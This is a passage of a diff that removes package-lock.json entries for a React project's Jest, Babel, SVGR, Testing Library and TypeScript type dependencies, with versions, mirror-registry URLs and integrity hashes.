-          "resolved": "https://registry.nlark.com/jest-resolve/download/jest-resolve-26.6.2.tgz?cache=0&sync_timestamp=1622709020612&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fjest-resolve%2Fdownload%2Fjest-resolve-26.6.2.tgz",
-          "integrity": "sha1-o6sVFyF/RptQTxtWYDxbtUH7tQc=",
-          "requires": {
-            "@jest/types": "^26.6.2",
-            "chalk": "^4.0.0",
-            "graceful-fs": "^4.2.4",
-            "jest-pnp-resolver": "^1.2.2",
-            "jest-util": "^26.6.2",
-            "read-pkg-up": "^7.0.1",
-            "resolve": "^1.18.1",
-            "slash": "^3.0.0"
-          }
-        },
-        "read-pkg": {
-          "version": "5.2.0",
-          "resolved": "https://registry.nlark.com/read-pkg/download/read-pkg-5.2.0.tgz",
-          "integrity": "sha1-e/KVQ4yloz5WzTDgU7NO5yUMk8w=",
-          "requires": {
-            "@types/normalize-package-data": "^2.4.0",
-            "normalize-package-data": "^2.5.0",
-            "parse-json": "^5.0.0",
-            "type-fest": "^0.6.0"
-          },
-          "dependencies": {
-            "type-fest": {
-              "version": "0.6.0",
-              "resolved": "https://registry.nlark.com/type-fest/download/type-fest-0.6.0.tgz?cache=0&sync_timestamp=1622543370439&other_urls=https%3A%2F%2Fregistry.nlark.com%2Ftype-fest%2Fdownload%2Ftype-fest-0.6.0.tgz",
-              "integrity": "sha1-jSojcNPfiG61yQraHFv2GIrPg4s="
-            }
-          }
-        },
-        "read-pkg-up": {
-          "version": "7.0.1",
-          "resolved": "https://registry.npm.taobao.org/read-pkg-up/download/read-pkg-up-7.0.1.tgz?cache=0&sync_timestamp=1616916249599&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fread-pkg-up%2Fdownload%2Fread-pkg-up-7.0.1.tgz",
-          "integrity": "sha1-86YTV1hFlzOuK5VjgFbhhU5+9Qc=",
-          "requires": {
-            "find-up": "^4.1.0",
-            "read-pkg": "^5.2.0",
-            "type-fest": "^0.8.1"
-          }
-        },
-        "type-fest": {
-          "version": "0.8.1",
-          "resolved": "https://registry.nlark.com/type-fest/download/type-fest-0.8.1.tgz?cache=0&sync_timestamp=1622543370439&other_urls=https%3A%2F%2Fregistry.nlark.com%2Ftype-fest%2Fdownload%2Ftype-fest-0.8.1.tgz",
-          "integrity": "sha1-CeJJ696FHTseSNJ8EFREZn8XuD0="
-        }
-      }
-    },
-    "@jest/source-map": {
-      "version": "26.6.2",
-      "resolved": "https://registry.nlark.com/@jest/source-map/download/@jest/source-map-26.6.2.tgz",
-      "integrity": "sha1-Ka9eHi4yTK/MyTbyGDCfVKtp1TU=",
-      "requires": {
-        "callsites": "^3.0.0",
-        "graceful-fs": "^4.2.4",
-        "source-map": "^0.6.0"
-      }
-    },
-    "@jest/test-result": {
-      "version": "26.6.2",
-      "resolved": "https://registry.nlark.com/@jest/test-result/download/@jest/test-result-26.6.2.tgz",
-      "integrity": "sha1-VdpYti3xNFdsyVR276X3lJ4/Xxg=",
-      "requires": {
-        "@jest/console": "^26.6.2",
-        "@jest/types": "^26.6.2",
-        "@types/istanbul-lib-coverage": "^2.0.0",
-        "collect-v8-coverage": "^1.0.0"
-      }
-    },
-    "@jest/test-sequencer": {
-      "version": "26.6.3",
-      "resolved": "https://registry.nlark.com/@jest/test-sequencer/download/@jest/test-sequencer-26.6.3.tgz?cache=0&sync_timestamp=1622709597158&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40jest%2Ftest-sequencer%2Fdownload%2F%40jest%2Ftest-sequencer-26.6.3.tgz",
-      "integrity": "sha1-mOikUQCGOIbQdCBej/3Fp+tYKxc=",
-      "requires": {
-        "@jest/test-result": "^26.6.2",
-        "graceful-fs": "^4.2.4",
-        "jest-haste-map": "^26.6.2",
-        "jest-runner": "^26.6.3",
-        "jest-runtime": "^26.6.3"
-      }
-    },
-    "@jest/transform": {
-      "version": "26.6.2",
-      "resolved": "https://registry.nlark.com/@jest/transform/download/@jest/transform-26.6.2.tgz?cache=0&sync_timestamp=1622290075207&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40jest%2Ftransform%2Fdownload%2F%40jest%2Ftransform-26.6.2.tgz",
-      "integrity": "sha1-WsV8X6GtF7Kq6D5z5FgTiU3PLks=",
-      "requires": {
-        "@babel/core": "^7.1.0",
-        "@jest/types": "^26.6.2",
-        "babel-plugin-istanbul": "^6.0.0",
-        "chalk": "^4.0.0",
-        "convert-source-map": "^1.4.0",
-        "fast-json-stable-stringify": "^2.0.0",
-        "graceful-fs": "^4.2.4",
-        "jest-haste-map": "^26.6.2",
-        "jest-regex-util": "^26.0.0",
-        "jest-util": "^26.6.2",
-        "micromatch": "^4.0.2",
-        "pirates": "^4.0.1",
-        "slash": "^3.0.0",
-        "source-map": "^0.6.1",
-        "write-file-atomic": "^3.0.0"
-      }
-    },
-    "@jest/types": {
-      "version": "26.6.2",
-      "resolved": "https://registry.nlark.com/@jest/types/download/@jest/types-26.6.2.tgz?cache=0&sync_timestamp=1622290050288&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40jest%2Ftypes%2Fdownload%2F%40jest%2Ftypes-26.6.2.tgz",
-      "integrity": "sha1-vvWlMgMOHYii9abZM/hOlyJu1I4=",
-      "requires": {
-        "@types/istanbul-lib-coverage": "^2.0.0",
-        "@types/istanbul-reports": "^3.0.0",
-        "@types/node": "*",
-        "@types/yargs": "^15.0.0",
-        "chalk": "^4.0.0"
-      }
-    },
-    "@nodelib/fs.scandir": {
-      "version": "2.1.5",
-      "resolved": "https://registry.nlark.com/@nodelib/fs.scandir/download/@nodelib/fs.scandir-2.1.5.tgz?cache=0&sync_timestamp=1622792706054&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40nodelib%2Ffs.scandir%2Fdownload%2F%40nodelib%2Ffs.scandir-2.1.5.tgz",
-      "integrity": "sha1-dhnC6yGyVIP20WdUi0z9WnSIw9U=",
-      "requires": {
-        "@nodelib/fs.stat": "2.0.5",
-        "run-parallel": "^1.1.9"
-      }
-    },
-    "@nodelib/fs.stat": {
-      "version": "2.0.5",
-      "resolved": "https://registry.nlark.com/@nodelib/fs.stat/download/@nodelib/fs.stat-2.0.5.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40nodelib%2Ffs.stat%2Fdownload%2F%40nodelib%2Ffs.stat-2.0.5.tgz",
-      "integrity": "sha1-W9Jir5Tp0lvR5xsF3u1Eh2oiLos="
-    },
-    "@nodelib/fs.walk": {
-      "version": "1.2.7",
-      "resolved": "https://registry.nlark.com/@nodelib/fs.walk/download/@nodelib/fs.walk-1.2.7.tgz?cache=0&sync_timestamp=1622793294488&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40nodelib%2Ffs.walk%2Fdownload%2F%40nodelib%2Ffs.walk-1.2.7.tgz",
-      "integrity": "sha1-lMI9sY7kZT4Smr0m+wb4cKyeHuI=",
-      "requires": {
-        "@nodelib/fs.scandir": "2.1.5",
-        "fastq": "^1.6.0"
-      }
-    },
-    "@npmcli/move-file": {
-      "version": "1.1.2",
-      "resolved": "https://registry.npm.taobao.org/@npmcli/move-file/download/@npmcli/move-file-1.1.2.tgz",
-      "integrity": "sha1-GoLD43L3yuklPrZtclQ9a4aFxnQ=",
-      "requires": {
-        "mkdirp": "^1.0.4",
-        "rimraf": "^3.0.2"
-      },
-      "dependencies": {
-        "mkdirp": {
-          "version": "1.0.4",
-          "resolved": "https://registry.npm.taobao.org/mkdirp/download/mkdirp-1.0.4.tgz",
-          "integrity": "sha1-PrXtYmInVteaXw4qIh3+utdcL34="
-        }
-      }
-    },
-    "@pmmmwh/react-refresh-webpack-plugin": {
-      "version": "0.4.3",
-      "resolved": "https://registry.nlark.com/@pmmmwh/react-refresh-webpack-plugin/download/@pmmmwh/react-refresh-webpack-plugin-0.4.3.tgz",
-      "integrity": "sha1-HuxGBZbSAMAja/GVsHil0d+Jt2Y=",
-      "requires": {
-        "ansi-html": "^0.0.7",
-        "error-stack-parser": "^2.0.6",
-        "html-entities": "^1.2.1",
-        "native-url": "^0.2.6",
-        "schema-utils": "^2.6.5",
-        "source-map": "^0.7.3"
-      },
-      "dependencies": {
-        "source-map": {
-          "version": "0.7.3",
-          "resolved": "https://registry.npm.taobao.org/source-map/download/source-map-0.7.3.tgz",
-          "integrity": "sha1-UwL4FpAxc1ImVECS5kmB91F1A4M="
-        }
-      }
-    },
-    "@popperjs/core": {
-      "version": "2.9.2",
-      "resolved": "https://registry.npm.taobao.org/@popperjs/core/download/@popperjs/core-2.9.2.tgz?cache=0&sync_timestamp=1617290098226&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40popperjs%2Fcore%2Fdownload%2F%40popperjs%2Fcore-2.9.2.tgz",
-      "integrity": "sha1-rep7aVPLs0ZRdmsFSEaOdDxqI1M="
-    },
-    "@restart/context": {
-      "version": "2.1.4",
-      "resolved": "https://registry.npm.taobao.org/@restart/context/download/@restart/context-2.1.4.tgz",
-      "integrity": "sha1-qZ2HwpmjTCi9hbtInLB7/SMUnAI="
-    },
-    "@restart/hooks": {
-      "version": "0.3.26",
-      "resolved": "https://registry.npm.taobao.org/@restart/hooks/download/@restart/hooks-0.3.26.tgz",
-      "integrity": "sha1-reFVp7CwFO8Qczkd2kaXLDoUoSk=",
-      "requires": {
-        "lodash": "^4.17.20",
-        "lodash-es": "^4.17.20"
-      }
-    },
-    "@rollup/plugin-node-resolve": {
-      "version": "7.1.3",
-      "resolved": "https://registry.nlark.com/@rollup/plugin-node-resolve/download/@rollup/plugin-node-resolve-7.1.3.tgz?cache=0&sync_timestamp=1620138121612&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40rollup%2Fplugin-node-resolve%2Fdownload%2F%40rollup%2Fplugin-node-resolve-7.1.3.tgz",
-      "integrity": "sha1-gN44Tt+9e/yRARZJEPhgeBUaPso=",
-      "requires": {
-        "@rollup/pluginutils": "^3.0.8",
-        "@types/resolve": "0.0.8",
-        "builtin-modules": "^3.1.0",
-        "is-module": "^1.0.0",
-        "resolve": "^1.14.2"
-      }
-    },
-    "@rollup/plugin-replace": {
-      "version": "2.4.2",
-      "resolved": "https://registry.npm.taobao.org/@rollup/plugin-replace/download/@rollup/plugin-replace-2.4.2.tgz",
-      "integrity": "sha1-otU5MU+8d8JEhY+qUjASglBoUQo=",
-      "requires": {
-        "@rollup/pluginutils": "^3.1.0",
-        "magic-string": "^0.25.7"
-      }
-    },
-    "@rollup/pluginutils": {
-      "version": "3.1.0",
-      "resolved": "https://registry.npm.taobao.org/@rollup/pluginutils/download/@rollup/pluginutils-3.1.0.tgz",
-      "integrity": "sha1-cGtFJO5tyLEDs8mVUz5a1oDAK5s=",
-      "requires": {
-        "@types/estree": "0.0.39",
-        "estree-walker": "^1.0.1",
-        "picomatch": "^2.2.2"
-      },
-      "dependencies": {
-        "@types/estree": {
-          "version": "0.0.39",
-          "resolved": "https://registry.nlark.com/@types/estree/download/@types/estree-0.0.39.tgz",
-          "integrity": "sha1-4Xfmme4bjCLSMXTKqnQiZEOJUJ8="
-        }
-      }
-    },
-    "@sinonjs/commons": {
-      "version": "1.8.3",
-      "resolved": "https://registry.npm.taobao.org/@sinonjs/commons/download/@sinonjs/commons-1.8.3.tgz?cache=0&sync_timestamp=1617869033712&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40sinonjs%2Fcommons%2Fdownload%2F%40sinonjs%2Fcommons-1.8.3.tgz",
-      "integrity": "sha1-OALd0hpQqUm2ch3dcto25n5/Gy0=",
-      "requires": {
-        "type-detect": "4.0.8"
-      }
-    },
-    "@sinonjs/fake-timers": {
-      "version": "6.0.1",
-      "resolved": "https://registry.nlark.com/@sinonjs/fake-timers/download/@sinonjs/fake-timers-6.0.1.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40sinonjs%2Ffake-timers%2Fdownload%2F%40sinonjs%2Ffake-timers-6.0.1.tgz",
-      "integrity": "sha1-KTZ0/MsyYqx4LHqt/eyoaxDHXEA=",
-      "requires": {
-        "@sinonjs/commons": "^1.7.0"
-      }
-    },
-    "@surma/rollup-plugin-off-main-thread": {
-      "version": "1.4.2",
-      "resolved": "https://registry.nlark.com/@surma/rollup-plugin-off-main-thread/download/@surma/rollup-plugin-off-main-thread-1.4.2.tgz?cache=0&sync_timestamp=1621529710125&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40surma%2Frollup-plugin-off-main-thread%2Fdownload%2F%40surma%2Frollup-plugin-off-main-thread-1.4.2.tgz",
-      "integrity": "sha1-5nhravV5n4L3qzqC5T9hgtK5Glg=",
-      "requires": {
-        "ejs": "^2.6.1",
-        "magic-string": "^0.25.0"
-      }
-    },
-    "@svgr/babel-plugin-add-jsx-attribute": {
-      "version": "5.4.0",
-      "resolved": "https://registry.npm.taobao.org/@svgr/babel-plugin-add-jsx-attribute/download/@svgr/babel-plugin-add-jsx-attribute-5.4.0.tgz",
-      "integrity": "sha1-ge9hlHuyaOudUFI0RvnGOPs1WQY="
-    },
-    "@svgr/babel-plugin-remove-jsx-attribute": {
-      "version": "5.4.0",
-      "resolved": "https://registry.npm.taobao.org/@svgr/babel-plugin-remove-jsx-attribute/download/@svgr/babel-plugin-remove-jsx-attribute-5.4.0.tgz",
-      "integrity": "sha1-ayx3DJXIdGVP1eHV70dbeKCpYu8="
-    },
-    "@svgr/babel-plugin-remove-jsx-empty-expression": {
-      "version": "5.0.1",
-      "resolved": "https://registry.npm.taobao.org/@svgr/babel-plugin-remove-jsx-empty-expression/download/@svgr/babel-plugin-remove-jsx-empty-expression-5.0.1.tgz",
-      "integrity": "sha1-JWIaiRXtetcNps6j0KbbwuqTPv0="
-    },
-    "@svgr/babel-plugin-replace-jsx-attribute-value": {
-      "version": "5.0.1",
-      "resolved": "https://registry.npm.taobao.org/@svgr/babel-plugin-replace-jsx-attribute-value/download/@svgr/babel-plugin-replace-jsx-attribute-value-5.0.1.tgz",
-      "integrity": "sha1-CyIfxX+fzRDpH+IZ4s0N0DFFqJc="
-    },
-    "@svgr/babel-plugin-svg-dynamic-title": {
-      "version": "5.4.0",
-      "resolved": "https://registry.npm.taobao.org/@svgr/babel-plugin-svg-dynamic-title/download/@svgr/babel-plugin-svg-dynamic-title-5.4.0.tgz",
-      "integrity": "sha1-E5tUbdDDGGtuXbT+/CbLC66nKdc="
-    },
-    "@svgr/babel-plugin-svg-em-dimensions": {
-      "version": "5.4.0",
-      "resolved": "https://registry.npm.taobao.org/@svgr/babel-plugin-svg-em-dimensions/download/@svgr/babel-plugin-svg-em-dimensions-5.4.0.tgz",
-      "integrity": "sha1-ZUP2lSZjKhM85cq6uWXe6uoiNKA="
-    },
-    "@svgr/babel-plugin-transform-react-native-svg": {
-      "version": "5.4.0",
-      "resolved": "https://registry.npm.taobao.org/@svgr/babel-plugin-transform-react-native-svg/download/@svgr/babel-plugin-transform-react-native-svg-5.4.0.tgz",
-      "integrity": "sha1-AL+aenPxytOUjNqx+N+3dHUPjIA="
-    },
-    "@svgr/babel-plugin-transform-svg-component": {
-      "version": "5.5.0",
-      "resolved": "https://registry.npm.taobao.org/@svgr/babel-plugin-transform-svg-component/download/@svgr/babel-plugin-transform-svg-component-5.5.0.tgz",
-      "integrity": "sha1-WDpeKhk+IU2i86/rC56NMlASa0o="
-    },
-    "@svgr/babel-preset": {
-      "version": "5.5.0",
-      "resolved": "https://registry.npm.taobao.org/@svgr/babel-preset/download/@svgr/babel-preset-5.5.0.tgz",
-      "integrity": "sha1-ivVPPgqK3XseKw/NWogsVTk98yc=",
-      "requires": {
-        "@svgr/babel-plugin-add-jsx-attribute": "^5.4.0",
-        "@svgr/babel-plugin-remove-jsx-attribute": "^5.4.0",
-        "@svgr/babel-plugin-remove-jsx-empty-expression": "^5.0.1",
-        "@svgr/babel-plugin-replace-jsx-attribute-value": "^5.0.1",
-        "@svgr/babel-plugin-svg-dynamic-title": "^5.4.0",
-        "@svgr/babel-plugin-svg-em-dimensions": "^5.4.0",
-        "@svgr/babel-plugin-transform-react-native-svg": "^5.4.0",
-        "@svgr/babel-plugin-transform-svg-component": "^5.5.0"
-      }
-    },
-    "@svgr/core": {
-      "version": "5.5.0",
-      "resolved": "https://registry.npm.taobao.org/@svgr/core/download/@svgr/core-5.5.0.tgz",
-      "integrity": "sha1-gugmuHFdcQgxIP6PJJLsfXh0pXk=",
-      "requires": {
-        "@svgr/plugin-jsx": "^5.5.0",
-        "camelcase": "^6.2.0",
-        "cosmiconfig": "^7.0.0"
-      }
-    },
-    "@svgr/hast-util-to-babel-ast": {
-      "version": "5.5.0",
-      "resolved": "https://registry.npm.taobao.org/@svgr/hast-util-to-babel-ast/download/@svgr/hast-util-to-babel-ast-5.5.0.tgz",
-      "integrity": "sha1-XuUqnCUz9z5j+PIrd5+TzUMqVGE=",
-      "requires": {
-        "@babel/types": "^7.12.6"
-      }
-    },
-    "@svgr/plugin-jsx": {
-      "version": "5.5.0",
-      "resolved": "https://registry.npm.taobao.org/@svgr/plugin-jsx/download/@svgr/plugin-jsx-5.5.0.tgz",
-      "integrity": "sha1-GqjNeYodtxc6wENGbXtSI2s2kAA=",
-      "requires": {
-        "@babel/core": "^7.12.3",
-        "@svgr/babel-preset": "^5.5.0",
-        "@svgr/hast-util-to-babel-ast": "^5.5.0",
-        "svg-parser": "^2.0.2"
-      }
-    },
-    "@svgr/plugin-svgo": {
-      "version": "5.5.0",
-      "resolved": "https://registry.npm.taobao.org/@svgr/plugin-svgo/download/@svgr/plugin-svgo-5.5.0.tgz",
-      "integrity": "sha1-AtpV2FMgVJMk4gHHsuU79DH8wkY=",
-      "requires": {
-        "cosmiconfig": "^7.0.0",
-        "deepmerge": "^4.2.2",
-        "svgo": "^1.2.2"
-      }
-    },
-    "@svgr/webpack": {
-      "version": "5.5.0",
-      "resolved": "https://registry.npm.taobao.org/@svgr/webpack/download/@svgr/webpack-5.5.0.tgz",
-      "integrity": "sha1-quhY7lefX6jObDFm71bGobOBtkA=",
-      "requires": {
-        "@babel/core": "^7.12.3",
-        "@babel/plugin-transform-react-constant-elements": "^7.12.1",
-        "@babel/preset-env": "^7.12.1",
-        "@babel/preset-react": "^7.12.5",
-        "@svgr/core": "^5.5.0",
-        "@svgr/plugin-jsx": "^5.5.0",
-        "@svgr/plugin-svgo": "^5.5.0",
-        "loader-utils": "^2.0.0"
-      }
-    },
-    "@testing-library/dom": {
-      "version": "7.31.2",
-      "resolved": "https://registry.nlark.com/@testing-library/dom/download/@testing-library/dom-7.31.2.tgz?cache=0&sync_timestamp=1622729051034&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40testing-library%2Fdom%2Fdownload%2F%40testing-library%2Fdom-7.31.2.tgz",
-      "integrity": "sha1-3zYds49SEriFVQaKuBGfXYQajEo=",
-      "requires": {
-        "@babel/code-frame": "^7.10.4",
-        "@babel/runtime": "^7.12.5",
-        "@types/aria-query": "^4.2.0",
-        "aria-query": "^4.2.2",
-        "chalk": "^4.1.0",
-        "dom-accessibility-api": "^0.5.6",
-        "lz-string": "^1.4.4",
-        "pretty-format": "^26.6.2"
-      }
-    },
-    "@testing-library/jest-dom": {
-      "version": "5.13.0",
-      "resolved": "https://registry.nlark.com/@testing-library/jest-dom/download/@testing-library/jest-dom-5.13.0.tgz",
-      "integrity": "sha1-CjZWhOLBFZ+Ff1kVvlAIn8VlffA=",
-      "requires": {
-        "@babel/runtime": "^7.9.2",
-        "@types/testing-library__jest-dom": "^5.9.1",
-        "aria-query": "^4.2.2",
-        "chalk": "^3.0.0",
-        "css": "^3.0.0",
-        "css.escape": "^1.5.1",
-        "lodash": "^4.17.15",
-        "redent": "^3.0.0"
-      },
-      "dependencies": {
-        "chalk": {
-          "version": "3.0.0",
-          "resolved": "https://registry.nlark.com/chalk/download/chalk-3.0.0.tgz?cache=0&sync_timestamp=1618995384030&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fchalk%2Fdownload%2Fchalk-3.0.0.tgz",
-          "integrity": "sha1-P3PCv1JlkfV0zEksUeJFY0n4ROQ=",
-          "requires": {
-            "ansi-styles": "^4.1.0",
-            "supports-color": "^7.1.0"
-          }
-        }
-      }
-    },
-    "@testing-library/react": {
-      "version": "11.2.7",
-      "resolved": "https://registry.nlark.com/@testing-library/react/download/@testing-library/react-11.2.7.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40testing-library%2Freact%2Fdownload%2F%40testing-library%2Freact-11.2.7.tgz",
-      "integrity": "sha1-sp4ulcZ2XIFXhsC8HVrtnLK/eBg=",
-      "requires": {
-        "@babel/runtime": "^7.12.5",
-        "@testing-library/dom": "^7.28.1"
-      }
-    },
-    "@testing-library/user-event": {
-      "version": "12.8.3",
-      "resolved": "https://registry.nlark.com/@testing-library/user-event/download/@testing-library/user-event-12.8.3.tgz?cache=0&sync_timestamp=1620861071292&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40testing-library%2Fuser-event%2Fdownload%2F%40testing-library%2Fuser-event-12.8.3.tgz",
-      "integrity": "sha1-GqPtS595NAoeGDa8f1fFAeg4cEo=",
-      "requires": {
-        "@babel/runtime": "^7.12.5"
-      }
-    },
-    "@tootallnate/once": {
-      "version": "1.1.2",
-      "resolved": "https://registry.npm.taobao.org/@tootallnate/once/download/@tootallnate/once-1.1.2.tgz",
-      "integrity": "sha1-zLkURTYBeaBOf+av94wA/8Hur4I="
-    },
-    "@types/aria-query": {
-      "version": "4.2.1",
-      "resolved": "https://registry.nlark.com/@types/aria-query/download/@types/aria-query-4.2.1.tgz",
-      "integrity": "sha1-eLVDM0Ti+S6LMGwGpWIsUMJFv2s="
-    },
-    "@types/babel__core": {
-      "version": "7.1.14",
-      "resolved": "https://registry.nlark.com/@types/babel__core/download/@types/babel__core-7.1.14.tgz",
-      "integrity": "sha1-+q7vxBhexxw4n0UB7l7ISxcMxAI=",
-      "requires": {
-        "@babel/parser": "^7.1.0",
-        "@babel/types": "^7.0.0",
-        "@types/babel__generator": "*",
-        "@types/babel__template": "*",
-        "@types/babel__traverse": "*"
-      }
-    },
-    "@types/babel__generator": {
-      "version": "7.6.2",
-      "resolved": "https://registry.nlark.com/@types/babel__generator/download/@types/babel__generator-7.6.2.tgz",
-      "integrity": "sha1-89cReOGHhY98ReMDgPjxt0FaEtg=",
-      "requires": {
-        "@babel/types": "^7.0.0"
-      }
-    },
-    "@types/babel__template": {
-      "version": "7.4.0",
-      "resolved": "https://registry.nlark.com/@types/babel__template/download/@types/babel__template-7.4.0.tgz",
-      "integrity": "sha1-DIiN1ws+6e67bk8gDoCdoAdiYr4=",
-      "requires": {
-        "@babel/parser": "^7.1.0",
-        "@babel/types": "^7.0.0"
-      }
-    },
-    "@types/babel__traverse": {
-      "version": "7.11.1",
-      "resolved": "https://registry.nlark.com/@types/babel__traverse/download/@types/babel__traverse-7.11.1.tgz?cache=0&sync_timestamp=1621240632831&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40types%2Fbabel__traverse%2Fdownload%2F%40types%2Fbabel__traverse-7.11.1.tgz",
-      "integrity": "sha1-ZU9sT2dWjiTCOzZ+lHCYxiBvpjk=",
-      "requires": {
-        "@babel/types": "^7.3.0"
-      }
-    },
-    "@types/eslint": {
-      "version": "7.2.13",
-      "resolved": "https://registry.nlark.com/@types/eslint/download/@types/eslint-7.2.13.tgz",
-      "integrity": "sha1-4MpyGbpd7UAgYq1vkm1JHrsp3VM=",
-      "requires": {
-        "@types/estree": "*",
-        "@types/json-schema": "*"
-      }
-    },
-    "@types/estree": {
-      "version": "0.0.48",
-      "resolved": "https://registry.nlark.com/@types/estree/download/@types/estree-0.0.48.tgz",
-      "integrity": "sha1-GNyAkbKF35DbLyWqfZBs/DlLf3Q="
-    },
-    "@types/glob": {
-      "version": "7.1.3",
-      "resolved": "https://registry.nlark.com/@types/glob/download/@types/glob-7.1.3.tgz?cache=0&sync_timestamp=1621241222840&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40types%2Fglob%2Fdownload%2F%40types%2Fglob-7.1.3.tgz",
-      "integrity": "sha1-5rqA82t9qtLGhazZJmOC5omFwYM=",
-      "requires": {
-        "@types/minimatch": "*",
-        "@types/node": "*"
-      }
-    },
-    "@types/graceful-fs": {
-      "version": "4.1.5",
-      "resolved": "https://registry.nlark.com/@types/graceful-fs/download/@types/graceful-fs-4.1.5.tgz?cache=0&sync_timestamp=1621241272418&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40types%2Fgraceful-fs%2Fdownload%2F%40types%2Fgraceful-fs-4.1.5.tgz",
-      "integrity": "sha1-If+6DZjaQ1DbZIkfkqnl2zzbThU=",
-      "requires": {
-        "@types/node": "*"
-      }
-    },
-    "@types/html-minifier-terser": {
-      "version": "5.1.1",
-      "resolved": "https://registry.nlark.com/@types/html-minifier-terser/download/@types/html-minifier-terser-5.1.1.tgz?cache=0&sync_timestamp=1621241343144&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40types%2Fhtml-minifier-terser%2Fdownload%2F%40types%2Fhtml-minifier-terser-5.1.1.tgz",
-      "integrity": "sha1-PJ7pgPGhDWAhrmYyyj55yi7E+1A="
-    },
-    "@types/invariant": {
-      "version": "2.2.34",
-      "resolved": "https://registry.nlark.com/@types/invariant/download/@types/invariant-2.2.34.tgz?cache=0&sync_timestamp=1621241403208&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40types%2Finvariant%2Fdownload%2F%40types%2Finvariant-2.2.34.tgz",
-      "integrity": "sha1-BeT3n0ZcIAeIQ3TUeVRS+ZVyC74="
-    },
-    "@types/istanbul-lib-coverage": {
-      "version": "2.0.3",
-      "resolved": "https://registry.nlark.com/@types/istanbul-lib-coverage/download/@types/istanbul-lib-coverage-2.0.3.tgz?cache=0&sync_timestamp=1621241456732&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40types%2Fistanbul-lib-coverage%2Fdownload%2F%40types%2Fistanbul-lib-coverage-2.0.3.tgz",
-      "integrity": "sha1-S6jdtyAiH0MuRDvV+RF/0iz9R2I="
-    },
-    "@types/istanbul-lib-report": {
-      "version": "3.0.0",
-      "resolved": "https://registry.nlark.com/@types/istanbul-lib-report/download/@types/istanbul-lib-report-3.0.0.tgz",
-      "integrity": "sha1-wUwk8Y6oGQwRjudWK3/5mjZVJoY=",
-      "requires": {
-        "@types/istanbul-lib-coverage": "*"
-      }
-    },
-    "@types/istanbul-reports": {
-      "version": "3.0.1",
-      "resolved": "https://registry.nlark.com/@types/istanbul-reports/download/@types/istanbul-reports-3.0.1.tgz?cache=0&sync_timestamp=1622582672955&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40types%2Fistanbul-reports%2Fdownload%2F%40types%2Fistanbul-reports-3.0.1.tgz",
-      "integrity": "sha1-kVP+mLuivVZaY63ZQ21vDX+EaP8=",
-      "requires": {
-        "@types/istanbul-lib-report": "*"
-      }
-    },
-    "@types/jest": {
-      "version": "26.0.23",
-      "resolved": "https://registry.nlark.com/@types/jest/download/@types/jest-26.0.23.tgz",
-      "integrity": "sha1-obfqs8UDuARR0BnvtYjsY1Iu5Oc=",
-      "requires": {
-        "jest-diff": "^26.0.0",
-        "pretty-format": "^26.0.0"
-      }
-    },
-    "@types/json-schema": {
-      "version": "7.0.7",
-      "resolved": "https://registry.nlark.com/@types/json-schema/download/@types/json-schema-7.0.7.tgz",
-      "integrity": "sha1-mKmTUWyFnrDVxMjwmDF6nqaNua0="
-    },
-    "@types/json5": {
-      "version": "0.0.29",
-      "resolved": "https://registry.npm.taobao.org/@types/json5/download/@types/json5-0.0.29.tgz",
-      "integrity": "sha1-7ihweulOEdK4J7y+UnC86n8+ce4="
-    },
-    "@types/minimatch": {
-      "version": "3.0.4",
-      "resolved": "https://registry.nlark.com/@types/minimatch/download/@types/minimatch-3.0.4.tgz",
-      "integrity": "sha1-8Owl2/Lw5LGGRzE6wDETTKWySyE="
-    },
-    "@types/node": {
-      "version": "15.12.1",
-      "resolved": "https://registry.nlark.com/@types/node/download/@types/node-15.12.1.tgz?cache=0&sync_timestamp=1622824584187&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40types%2Fnode%2Fdownload%2F%40types%2Fnode-15.12.1.tgz",
-      "integrity": "sha1-m2B5fe4YlTg6cl+CioachsbKpcI="
-    },
-    "@types/normalize-package-data": {
-      "version": "2.4.0",
-      "resolved": "https://registry.nlark.com/@types/normalize-package-data/download/@types/normalize-package-data-2.4.0.tgz?cache=0&sync_timestamp=1621242027779&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40types%2Fnormalize-package-data%2Fdownload%2F%40types%2Fnormalize-package-data-2.4.0.tgz",
-      "integrity": "sha1-5IbQ2XOW15vu3QpuM/RTT/a0lz4="
-    },
-    "@types/parse-json": {
-      "version": "4.0.0",
-      "resolved": "https://registry.nlark.com/@types/parse-json/download/@types/parse-json-4.0.0.tgz?cache=0&sync_timestamp=1621242117704&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40types%2Fparse-json%2Fdownload%2F%40types%2Fparse-json-4.0.0.tgz",
-      "integrity": "sha1-L4u0QUNNFjs1+4/9zNcTiSf/uMA="
-    },
-    "@types/prettier": {
-      "version": "2.2.3",
-      "resolved": "https://registry.nlark.com/@types/prettier/download/@types/prettier-2.2.3.tgz?cache=0&sync_timestamp=1621242223838&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40types%2Fprettier%2Fdownload%2F%40types%2Fprettier-2.2.3.tgz",
-      "integrity": "sha1-72UWWuopJMk1kgW/dIhluIgXU8A="
-    },
-    "@types/prop-types": {
-      "version": "15.7.3",
